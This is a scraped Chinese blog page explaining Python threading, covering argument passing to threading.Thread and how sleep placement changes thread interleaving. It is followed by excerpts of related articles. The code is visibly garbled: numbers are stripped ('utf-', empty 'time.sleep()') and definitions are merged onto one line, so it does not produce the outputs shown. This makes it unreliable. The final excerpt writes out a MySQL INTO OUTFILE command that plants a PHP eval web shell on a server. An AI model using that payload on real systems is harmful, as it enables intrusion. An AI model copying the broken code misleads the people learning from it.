Python多线程threading的使用
一. threading的参数传递,参数之后的’,‘不能少,此处的’,‘是用来区分此参数作为元组(包含多个参数)来传递的,而不是单个参数传递
#coding:utf-
import threading
import time def b(arg):
time.sleep()
print("I'm B")
print("I'm", threading.current_thread().name)
print("I'm",arg)
time.sleep()
print("I'm sleep after") def a():
print("I'm A")
s = threading.Thread(target=b, name='LoopThread',args=("test",))
s.start()
print("I'm",threading.current_thread().name)
#time.sleep()
print("I'm C") print(a())
二. sleep的位置很重要,如上输出结果:
I'm A
I'm MainThread
I'm C
None
I'm B
I'm LoopThread
I'm test
I'm sleep after
第二种情况:
#coding:utf-
import threading
import time def b(arg):
#time.sleep(2)
print("I'm B")
print("I'm", threading.current_thread().name)
print("I'm",arg)
time.sleep()
print("I'm sleep after") def a():
print("I'm A")
s = threading.Thread(target=b, name='LoopThread',args=("test",))
s.start()
print("I'm",threading.current_thread().name)
#time.sleep()
print("I'm C") print(a())
输出结果:
I'm A
I'm BI'm
I'm LoopThread
I'm test
MainThread
I'm C
None
I'm sleep after
第三种情况:
#coding:utf-
import threading
import time def b(arg):
#time.sleep()
print("I'm B")
print("I'm", threading.current_thread().name)
print("I'm",arg)
time.sleep()
print("I'm sleep after") def a():
print("I'm A")
s = threading.Thread(target=b, name='LoopThread',args=("test",))
s.start()
print("I'm",threading.current_thread().name)
time.sleep()
print("I'm C") print(a())
输出结果:
I'm A
I'm BI'm
MainThread
I'm LoopThread
I'm test
I'm sleep after
I'm C
None
似乎其中一个线程稍微阻塞(或睡眠)就会立马开始执行另外一个,可以据此调控两个线程的交替?
关于线程的参数传递需要注意
Python多线程threading的使用的更多相关文章
- python多线程threading.Lock锁用法实例
本文实例讲述了python多线程threading.Lock锁的用法实例,分享给大家供大家参考.具体分析如下: python的锁可以独立提取出来 mutex = threading.Lock() #锁 ...
- [转]python 多线程threading简单分析
多线程和多进程是什么自行google补脑 对于python 多线程的理解,我花了很长时间,搜索的大部份文章都不够通俗易懂.所以,这里力图用简单的例子,让你对多线程有个初步的认识. 单线程 在好些年前的 ...
- Python多线程 - threading
目录 1. GIL 2. API 3. 创建子线程 4. 线程同步 4.1. 有了GIL,是否还需要同步? 4.1.1. 死锁 4.1.2. 竞争条件 4.1.3. GIL去哪儿了 4.2. Lock ...
- python多线程threading
本文通过 4个example 介绍python中多线程package —— threading的常用用法, 包括调用多线程, 同步队列类Queue, Ctrl+c结束多线程. example1. 调用 ...
- Python(多线程threading模块)
day27 参考:http://www.cnblogs.com/yuanchenqi/articles/5733873.html CPU像一本书,你不阅读的时候,你室友马上阅读,你准备阅读的时候,你室 ...
- [Python 多线程] threading.local类 (六)
在使用threading.local()之前,先了解一下局部变量和全局变量. 局部变量: import threading import time def worker(): x = 0 for i ...
- 再看python多线程------threading模块
现在把关于多线程的能想到的需要注意的点记录一下: 关于threading模块: 1.关于 传参问题 如果调用的子线程函数需要传参,要在参数后面加一个“,”否则会抛参数异常的错误. 如下: for i ...
- python多线程threading下载示例
#coding:utf-8 # windows中测试不通过,下载的图片不完整 # 通过多线程下载图片 import requests import threading class downloader ...
- python 多线程threading
上一篇说到thread模块,我们要自己解决线程锁.其实也没有什么啦.只是现在的人都比较懒,既然有高级封装的函数为什么要自己写. 所以就有了threading. 其实都一样啦. 来一个最简单的threa ...
- python 多线程threading的学习一
1. import threading #引入线程模块 2 申明实例 t = threading.Thread(target = fun, args = (,)) 说明:参数target 是要运行的 ...
随机推荐
- springboot-thymeleaf
Thymeleaf 是一个跟 Velocity.FreeMarker 类似的模板引擎,它可以完全替代 JSP .相较与其他的模板引擎,它有如下三个极吸引人的特点: Thymeleaf 在有网络和无网络 ...
- Python学习笔记——发邮件
参考:Python3实现163邮箱SMTP发送邮件 1.首先需要注册一个网易的邮箱,开启smtp服务,并使用其授权码 2.发送邮件的Python脚本 #!/usr/bin/python # -*- c ...
- How to secure the ASP.NET_SessionId cookie? 设置ASP.NET_SessionId Secure=true
How to secure the ASP.NET_SessionId cookie? To add the ; secure suffix to the Set-Cookie http header ...
- 转:SQL Server 动态行转列
http://www.cnblogs.com/gaizai/p/3753296.html http://www.cnblogs.com/maanshancss/archive/2013/03/13/2 ...
- springboot 2.0 mariadb hikari-cp连接池
直到今天 2018年9月29日 10:00:38 ,hikari-cp 在maven 官方仓库最新版本为2.6 SpringBoot 2.0.5 控制台输出,默认的是 2.7.9 spring-boo ...
- Go学习笔记(五)Go命令工具
上篇Go学习笔记(四)Go自动化测试框架 1.go build 这个命令可以直接使用,也可以带上代码包或源码文件使用. 如果是直接使用,表示试图编译当前目录所对应的代码包,如果当前目录不是一个有效的代 ...
- Jmeter中使用SSH插件,连接远程linux机器执行命令
一.Why 在云主机测试中,需要使用SSH协议连接云主机进行相关操作 在python中使用paramiko库很好实现,在如果要使用jmeter做性能测试时,怎么做? 二.解决 既然原生jmeter没有 ...
- R 540
好久没写题解了嘻嘻嘻,昨天补edu自闭了一天还没补完fg这div3令人愉悦. A: #include <bits/stdc++.h> #define mk(a,b) make_pair(a ...
- TemplateBuilder Android Studio
TemplateBuilder:是Android Studio的一个开发模板,大大提高开发效率.
- mysql拿webshell总结
1.select '<?php eval($_POST[jumbo]) ?>' into outfile '/var/www/jumbo.php'; 2.select '<?php ...